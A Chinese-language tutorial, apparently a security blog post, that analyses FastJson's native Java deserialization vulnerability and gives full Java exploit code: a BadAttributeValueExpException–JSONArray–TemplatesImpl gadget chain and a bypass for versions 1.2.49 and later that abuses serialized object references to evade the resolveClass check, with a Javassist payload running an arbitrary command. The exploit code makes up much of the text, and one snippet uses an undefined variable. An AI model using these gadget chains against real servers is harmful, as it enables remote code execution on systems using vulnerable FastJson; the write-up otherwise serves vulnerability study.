Java反序列化之FastJson原生反序列化
字数 1672 2025-08-24 16:48:16
FastJson原生反序列化漏洞分析与利用
1. 引言
FastJson是阿里巴巴开源的高性能JSON处理库,在1.2.48及以下版本中存在原生反序列化漏洞。本文详细分析该漏洞的原理、利用方式及绕过技巧。
2. 漏洞背景
FastJson提供了两种反序列化方式:
- 通过
parseObject和parse方法利用@type加载类 - 原生Java反序列化方式(继承
Serializable接口)
本文重点分析第二种方式,即原生反序列化漏洞。
3. 漏洞利用类
在FastJson包中,以下两个类继承了Serializable接口:
JSONObjectJSONArray
3.1 JSONArray利用分析
虽然JSONArray没有直接的readObject方法,但可以通过其他类的readObject触发其方法调用链。
关键发现:Json类中的toString方法会触发toJSONString方法调用,而toJSONString能够触发getter方法。
3.2 toJSONString触发getter方法验证
测试代码:
package JavaBeanTest;
public class Person {
private String name;
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
}
package JavaBeanTest;
import com.alibaba.fastjson.JSON;
public class BeanTest {
public static void main(String[] args) throws Exception {
Person person = new Person();
String JSON_Serialize = JSON.toJSONString(person);
System.out.println(JSON_Serialize);
}
}
// 输出:
// getName
// {}
调试发现:toJSONString最终调用serializer.write方法,进而触发getter方法。
4. 利用链构造
利用链思路:
- 找到一个能触发
readObject的类 - 触发
toString方法 - 调用
toJSONString方法 - 触发getter方法实现RCE
4.1 利用BadAttributeValueExpException
利用BadAttributeValueExpException的readObject方法触发toString:
BadAttributeValueExpException.readObject()
-> JSONArray.toString()
-> JSON.toJSONString()
-> getter方法
4.2 结合TemplatesImpl实现RCE
利用TemplatesImpl的getOutputProperties方法触发动态类加载:
package EXPFastJson;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class FastJsontoString {
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Tomcat\\CC\\target\\classes\\EXPFastJson\\DemotoString.class"));
setValue(templatesimpl, "_name", "aaa");
setValue(templatesimpl, "_bytecodes", new byte[][]{bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class Bv = Class.forName("javax.management.BadAttributeValueExpException");
Field val = Bv.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, jsonArray);
// 序列化和反序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(badAttributeValueExpException);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
5. FastJson 1.2.49+的绕过
从1.2.49版本开始,JSONArray和JSONObject有了自己的readObject方法,并在SecureObjectInputStream中重写了resolveClass,通过checkAutoType进行类检查。
5.1 防护机制分析
反序列化流程:
ObjectInputStream -> readObject
-> SecureObjectInputStream -> readObject
-> resolveClass
安全的反序列化应直接在继承ObjectInputStream类中重写resolveClass:
TestInputStream -> readObject -> resolveClass
5.2 绕过思路
利用引用类型绕过resolveClass检查:
- 当向List、Set、Map类型中添加相同对象时,会在
handles哈希表中建立对象到引用的映射 - 再次写入同一对象时,会通过
writeHandle将重复对象以引用类型写入
5.3 绕过EXP
package EXPFastJson;
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class FastJsonAll {
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] genPayload(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd, "val", jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templates, bd);
// 序列化和反序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(
new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
}
}
5.4 绕过原理
-
序列化时:
- 将
templates先加入到arrayList中 - 然后在
JSONArray中再次加入TemplatesImpl handles哈希表中建立映射,后续以引用形式输出
- 将
-
反序列化时:
- 第一个
readObject恢复template对象 - 恢复
BadAttributeValueExpException对象时,触发第二个readObject - 第二次恢复
TemplatesImpl对象时,因为是引用类型,不会触发resolveClass
- 第一个
6. 总结
- FastJson原生反序列化漏洞利用
JSONArray/JSONObject的toString触发getter方法 - 结合
BadAttributeValueExpException和TemplatesImpl实现RCE - FastJson 1.2.49+通过引用类型绕过
SecureObjectInputStream的防护 - 关键点在于利用两次
readObject和引用类型绕过类检查